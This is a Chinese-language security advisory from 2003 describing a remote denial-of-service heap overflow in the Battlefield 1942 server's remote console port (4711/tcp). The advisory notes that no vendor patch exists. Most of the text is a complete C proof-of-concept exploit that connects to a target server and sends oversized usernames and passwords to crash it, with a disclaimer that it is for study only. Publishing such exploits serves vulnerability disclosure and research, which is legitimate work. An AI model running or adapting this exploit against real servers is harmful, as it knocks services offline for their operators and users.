安全研究
安全漏洞
Battlefield 1942服务器远程拒绝服务攻击漏洞
发布日期:2003-02-26
更新日期:2003-02-28
受影响系统:
Electronic Arts Battlefield 1942 1.2描述:
Battlefield 1942一款由Electronic Arts发行的在线游戏。
Battlefield 1942的管理端口在接收到畸形包时缺少正确处理,远程攻击者可以利用这个漏洞对服务程序进行拒绝服务攻击。
Battlefield 1942配置为默认监听4711 TCP端口,来接收远程命令或更改服务变量,bf1972随带的"RemoteConsole.exe"工具可以对其进行通信。在进行连接时攻击者提供超长的用户名和密码可导致破坏堆中的控制信息,不过由于接收用户名的块是链中最后一个块(chunk),因此没有后续的控制块可以覆盖,导致用于执行指令比较困难,目前可以对服务程序进行拒绝服务攻击。
<*来源:VOID.AT Security (crew@void.at)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104628395021536&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*****************************************************************
* hoagie_bf1942_rcon.c
*
* Remote-DoS for Battlefield 1942-Servers that have their
* rcon-port activated (4711/tcp by default)
*
* Author: greuff@void.at
*
* Tested on BF-Server 1.2 on win32
*
* Credits:
* void.at
* ^sq, G7 and thokky
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
* THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
* CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
*
*****************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sysexits.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <errno.h>
#include <netdb.h>
int bf1942_rcon_connect(char *servername, int serverport, char *user, char
*pass, int *s);
int main(int argc, char **argv)
{
int sock, rval=0;
char *user, *pass;
int anz=5000/*4280*//*4272*//*4200*/;
if(argc!=3)
{
printf("Usage: %s servername serverport\n\n",argv[0]);
return EX_USAGE;
}
user=malloc(anz+1);
pass=malloc(anz+1);
memset(user,0,anz+1);
memset(user,'A',anz);
memset(pass,0,anz+1);
memset(pass,'B',anz);
do
{
rval=bf1942_rcon_connect(argv[1],strtol(argv[2],NULL,10),user,pass,&sock);
if(rval==-1)
{
printf("Authentication failed. user=%s pass=%s\n",user,pass);
user[1]++;
close(sock);
}
else if(rval>0)
{
printf("Error: %s\n",strerror(rval));
return -1;
}
} while(0);
return 0;
}
/* open a session to a bf1942-server (Rcon)
*
* WARNING this is a minimalist's version of the real rcon-authentication
* (XOR's skipped)
*
* in: servername, serverport, username, pass
* out: on success: 0, serversocket in *sock
* on error : -1 = autherror, errno otherwise
*/
int bf1942_rcon_connect(char *servername, int serverport, char *user, char
*pass, int *s)
{
int sock, i, rval;
struct hostent *hp;
struct sockaddr_in inaddr;
unsigned long l;
char xorkey[10], buf[20];
if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
return errno;
if((hp=gethostbyname(servername))<0)
return errno;
inaddr.sin_family=AF_INET;
inaddr.sin_port=htons(serverport);
memcpy(&inaddr.sin_addr,*(hp->h_addr_list),sizeof(struct in_addr));
if(connect(sock,(struct sockaddr *)&inaddr,sizeof(struct sockaddr))<0)
return errno;
// connection established. The first thing the server should
// send is the XOR-Key for transmitting the username and the
// password.
if((i=read(sock,xorkey,10))<0)
return errno;
// send the username and the password...
l=strlen(user)+1;
if(write(sock,&l,sizeof(long))<0)
return errno;
if(write(sock,user,strlen(user)+1)<0)
return errno;
l=strlen(pass)+1;
if(write(sock,&l,sizeof(long))<0)
return errno;
if(write(sock,pass,strlen(pass)+1)<0)
return errno;
if(read(sock,buf,20)<0)
return errno;
if(buf[0]==0x01)
{
rval=0; // auth-ok, connection established
*s=sock;
}
else
rval=-1; // auth-error
return rval;
}
建议:
厂商补丁:
Electronic Arts
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.ea.com
浏览次数:3636
严重程度:0(网友投票)
绿盟科技给您安全的保障